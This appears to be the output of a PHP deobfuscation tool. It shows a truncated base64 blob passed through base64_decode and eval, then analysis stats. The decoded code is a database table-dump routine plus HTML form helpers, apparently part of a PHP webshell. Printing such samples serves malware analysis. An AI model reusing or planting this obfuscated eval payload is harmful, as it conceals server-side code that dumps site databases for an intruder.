cGxvZGUoJGNvbHVtbnMsIiwiKTsNCg0KDQoNCgkJaWYgKCRrbmFtZSA9PSAiUFJJTUFSWSIpIHsNCg0KCQkJJHRhYmxlZHVtcCAuPSAiICAgUFJJTUFSWSBLRVkgKCRjb2xuYW1lcykiOw0KDQoJCX0gZWxzZSB7DQoNCgkJCWlmIChzdWJzdHIoJGtuYW1lLDAsNikgPT0gIlVOSVFVRSIpIHsNCg0KCQkJCSRrbmFtZT1zdWJzdHIoJGtuYW1lLDcpOw0KDQoJCQl9DQoNCgkJCSR0YWJsZWR1bXAgLj0gIiAgIEtFWSAka25hbWUgKCRjb2xuYW1lcykiOw0KDQoJCX0NCg0KCX0NCg0KDQoNCgkkdGFibGVkdW1wIC49ICJcbik7XG5cbiI7DQoNCglpZiAoJGZwKSB7DQoNCgkJZndyaXRlKCRmcCwkdGFibGVkdW1wKTsNCg0KCX0gZWxzZSB7DQoNCgkJZWNobyAkdGFibGVkdW1wOw0KDQoJfQ0KDQoNCg0KCSRyb3dzID0gcSgiU0VMRUNUICogRlJPTSAkdGFibGUiKTsNCg0KCSRudW1maWVsZHMgPSBteXNxbF9udW1fZmllbGRzKCRyb3dzKTsNCg0KCXdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJvd3MpKSB7DQoNCgkJJHRhYmxlZHVtcCA9ICJJTlNFUlQgSU5UTyAkdGFibGUgVkFMVUVTKCI7DQoNCg0KDQoJCSRmaWVsZGNvdW50ZXI9LTE7DQoNCgkJJGZpcnN0ZmllbGQ9MTsNCg0KCQl3aGlsZSAoKyskZmllbGRjb3VudGVyPCRudW1maWVsZHMpIHsNCg0KCQkJaWYgKCEkZmlyc3RmaWVsZCkgew0KDQoJCQkJJHRhYmxlZHVtcC49IiwgIjsNCg0KCQkJfSBlbHNlIHsNCg0KCQkJCSRmaXJzdGZpZWxkPTA7DQoNCgkJCX0NCg0KDQoNCgkJCWlmICghaXNzZXQoJHJvd1skZmllbGRjb3VudGVyXSkpIHsNCg0KCQkJCSR0YWJsZWR1bXAgLj0gIk5VTEwiOw0KDQoJCQl9IGVsc2Ugew0KDQoJCQkJJHRhYmxlZHVtcCAuPSAiJyIubXlzcWxfZXNjYXBlX3N0cmluZygkcm93WyRmaWVsZGNvdW50ZXJdKS4iJyI7DQoNCgkJCX0NCg0KCQl9DQoNCg0KDQoJCSR0YWJsZWR1bXAgLj0gIik7XG4iOw0KDQoNCg0KCQlpZiAoJGZwKSB7DQoNCgkJCWZ3cml0ZSgkZnAsJHRhYmxlZHVtcCk7DQoNCgkJfSBlbHNlIHsNCg0KCQkJZWNobyAkdGFibGVkdW1wOw0KDQoJCX0NCg0KCX0NCg0KCWZyKCRyb3dzKTsNCg0KCWlmICgkZnApIHsNCg0KCQlmd3JpdGUoJGZwLCJcbiIpOw0KDQoJfSBlbHNlIHsNCg0KCQllY2hvICJcbiI7DQoNCgl9DQoNCn0NCg0KDQoNCmZ1bmN0aW9uIHVlKCRzdHIpew0KDQoJcmV0dXJuIHVybGVuY29kZSgkc3RyKTsNCg0KfQ0KDQoNCg0KZnVuY3Rpb24gcCgkc3RyKXsNCg0KCWVjaG8gJHN0ci4iXG4iOw0KDQp9DQoNCg0KDQpmdW5jdGlvbiB0YmhlYWQoKSB7DQoNCglwKCc8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjQiIGNlbGxzcGFjaW5nPSIwIj4nKTsNCg0KfQ0KDQpmdW5jdGlvbiB0YmZvb3QoKXsNCg0KCXAoJzwvdGFibGU+Jyk7DQoNCn0NCg0KDQoNCmZ1bmN0aW9uIG1ha2VoaWRlKCRuYW1lLCR2YWx1ZT0nJyl7DQoNCglwKCI8aW5wdXQgaWQ9XCIkbmFtZVwiIHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiJG5hbWVcIiB2YWx1ZT1cIiR2YWx1ZVwiIC8+Iik7DQoNCn0NCg0KDQoNCmZ1bmN0aW9uIG1ha2VpbnB1dCgkYXJnID0gYXJyYXkoKSl7DQoNCgkkYXJnWydzaXplJ10gPSAkYXJnWydzaXplJ10gPiAwID8gInNpemU9XCIkYXJnW3NpemVdXCIiIDogInNpemU9XCIxMDBcIiI7DQoNCgkkYXJnWydleHRyYSddID0gJGFyZ1snZXh0cmEnXSA/ICRhcmdbJ2V4dHJhJ10gOiAnJzsNCg0KCSEkYXJnWyd0eXBlJ10gJiYgJGFyZ1sndHlwZSddID0gJ3RleHQnOw0KDQoJJGFyZ1sndGl0bGUnXSA9ICRhcmdbJ3RpdGxlJ10gPyAkYXJnWyd0aXRsZSddLic8YnIgLz4nIDogJyc7DQoNCgkkYXJnWydjbGFzcyddID0gJGFyZ1snY2xhc3MnXSA/ICRhcmdbJ2NsYXNzJ10gOiAnaW5wdXQnOw0KDQoJaWYgKCRhcmdbJ25ld2xpbmUnXSkgew0KDQoJCXAoIjxwPiRhcmdbdGl0bGVdPGlucHV0IGNsYXNzPVwiJGFyZ1tjbGFzc11cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiIGlkPVwiJGFyZ1tuYW1lXVwiIHZhbHVlPVwiJGFyZ1t2YWx1ZV1cIiB0eXBlPVwiJGFyZ1t0eXBlXVwiICRhcmdbc2l6ZV0gJGFyZ1tleHRyYV0gLz48L3A+Iik7DQoNCgl9IGVsc2Ugew0KDQoJCXAoIiRhcmdbdGl0bGVdPGlucHV0IGNsYXNzPVwiJGFyZ1tjbGFzc11cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiIGlkPVwiJGFyZ1tuYW1lXVwiIHZhbHVlPVwiJGFyZ1t2YWx1ZV1cIiB0eXBlPVwiJGFyZ1t0eXBlXVwiICRhcmdbc2l6ZV0gJGFyZ1tleHRyYV0gLz4iKTsNCg0KCX0NCg0KfQ0KDQoNCg0KZnVuY3Rpb24gbWFrZXNlbGVjdCgkYXJnID0gYXJyYXkoKSl7DQoNCglpZiAoJGFyZ1snb25jaGFuZ2UnXSkgew0KDQoJCSRvbmNoYW5nZSA9ICdvbmNoYW5nZT0iJy4kYXJnWydvbmNoYW5nZSddLiciJzsNCg0KCX0NCg0KCSRhcmdbJ3RpdGxlJ10gPSAkYXJnWyd0aXRsZSddID8gJGFyZ1sndGl0bGUnXSA6ICcnOw0KDQoJaWYgKCRhcmdbJ25ld2xpbmUnXSkgcCgnPHA+Jyk7DQoNCglwKCIkYXJnW3RpdGxlXSA8c2VsZWN0IGNsYXNzPVwiaW5wdXRcIiBpZD1cIiRhcmdbbmFtZV1cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiICRvbmNoYW5nZT4iKTsNCg0KCQlpZiAoaXNfYXJyYXkoJGFyZ1snb3B0aW9uJ10pKSB7DQoNCgkJCWZvcmVhY2ggKCRhcmdbJ29wdGlvbiddIGFzICRrZXk9PiR2YWx1ZSkgew0KDQoJCQkJaWYgKCRhcmdbJ3NlbGVjdGVkJ109PSRrZXkpIHsNCg0KCQkJCQlwKCI8b3B0aW9uIHZhbHVlPVwiJGtleVwiIHNlbGVjdGVkPiR2YWx1ZTwvb3B0aW9uPiIpOw0KDQoJCQkJfSBlbHNlIHsNCg0KCQkJCQlwKCI8b3B0aW9uIHZhbHVlPVwiJGtleVwiPiR2YWx1ZTwvb3B0aW9uPiIpOw0KDQoJCQkJfQ0KDQoJCQl9DQoNCgkJfQ0KDQoJcCgiPC9zZWxlY3Q+Iik7DQoNCglpZiAoJGFyZ1snbmV3bGluZSddKSBwKCc8L3A+Jyk7DQoNCn0NCg0KZnVuY3Rpb24gZm9ybWhlYWQoJGFyZyA9IGFycmF5KCkpIHsNCg0KCSEkYXJnWydtZXRob2QnXSAmJiAkYXJnWydtZXRob2QnXSA9ICdwb3N0JzsNCg0KCSEkYXJnWydhY3Rpb24nXSAmJiAkYXJnWydhY3Rpb24nXSA9ICRzZWxmOw0KDQoJJGFyZ1sndGFyZ2V0J10gPSAkYXJnWyd0YXJnZXQnXSA/ICJ0YXJnZXQ9XCIkYXJnW3RhcmdldF1cIiIgOiAnJzsNCg0KCSEkYXJnWyduYW1lJ10gJiYgJGFyZ1snbmFtZSddID0gJ2Zvcm0xJzsNCg0KCXAoIjxmb3JtIG5hbWU9XCIkYXJnW25hbWVdXCIgaWQ9XCIkYXJnW25hbWVdXCIgYWN0aW9uPVwiJGFyZ1thY3Rpb25dXCIgbWV0aG9kPVwiJGFyZ1ttZXRob2RdXCIgJGFyZ1t0YXJnZXRdPiIpOw0KDQoJaWYgKCRhcmdbJ3RpdGxlJ10pIHsNCg0KCQlwKCc8aDI+Jy4kYXJnWyd0aXRsZSddLicgJnJhcXVvOzwvaDI+Jyk7DQoNCgl9DQoNCn0NCg0KCQ0KDQpmdW5jdGlvbiBtYWtldGV4dCgkYXJnID0gYXJyYXkoKSl7DQoNCgkhJGFyZ1snY29scyddICYmICRhcmdbJ2NvbHMnXSA9IDEwMDsNCg0KCSEkYXJnWydyb3dzJ10gJiYgJGFyZ1sncm93cyddID0gMjU7DQoNCgkkYXJnWyd0aXRsZSddID0gJGFyZ1sndGl0bGUnXSA/ICRhcmdbJ3RpdGxlJ10uJzxiciAvPicgOiAnJzsNCg0KCXAoIjxwPiRhcmdbdGl0bGVdPHRleHRhcmVhIGNsYXNzPVwiYXJlYVwiIGlkPVwiJGFyZ1tuYW1lXVwiIG5hbWU9XCIkYXJnW25hbWVdXCIgY29scz1cIiRhcmdbY29sc11cIiByb3dzPVwiJGFyZ1tyb3dzXVwiICRhcmdbZXh0cmFdPiRhcmdbdmFsdWVdPC90ZXh0YXJlYT48L3A+Iik7DQoNCn0NCg0KDQoNCmZ1bmN0aW9uIGZvcm1mb290ZXIoJG5hbWUgPSAnJyl7DQoNCgkhJG5hbWUgJiYgJG5hbWUgPSAnc3VibWl0JzsNCg0KCXAoJzxwPjxpbnB1dCBjbGFzcz0iYnQiIG5hbWU9IicuJG5hbWUuJyIgaWQ9XCInLiRuYW1lLidcIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdWJtaXQiPjwvcD4nKTsNCg0KCXAoJzwvZm9ybT4nKTsNCg0KfQ0KDQoNCg0KZnVuY3Rpb24gZm9ybWZvb3QoKXsNCg0KCXAoJzwvZm9ybT4nKTsNCg0KfQ0KDQoNCg0KLy8gPz8/Pw0KDQpmdW5jdGlvbiBwcigkYSkgew0KDQoJZWNobyAnPHByZT4nOw0KDQoJcHJpbnRfcigkYSk7DQoNCgllY2hvICc8L3ByZT4nOw0KDQp9DQoNCg0KDQo/Pg0KDQo8L3RkPjwvdHI+PC90YWJsZT4NCg0KDQoNCg0KDQo8L3RkPjwvdHI+DQoNCg0KDQo8L3RyPg0KDQo8L3RhYmxlPg==')); 

Function Calls

base64_decode 1

Variables

None

Stats

MD5 c8d226998dfc4717291dced90912395e
Eval Count 1
Decode Time 232 ms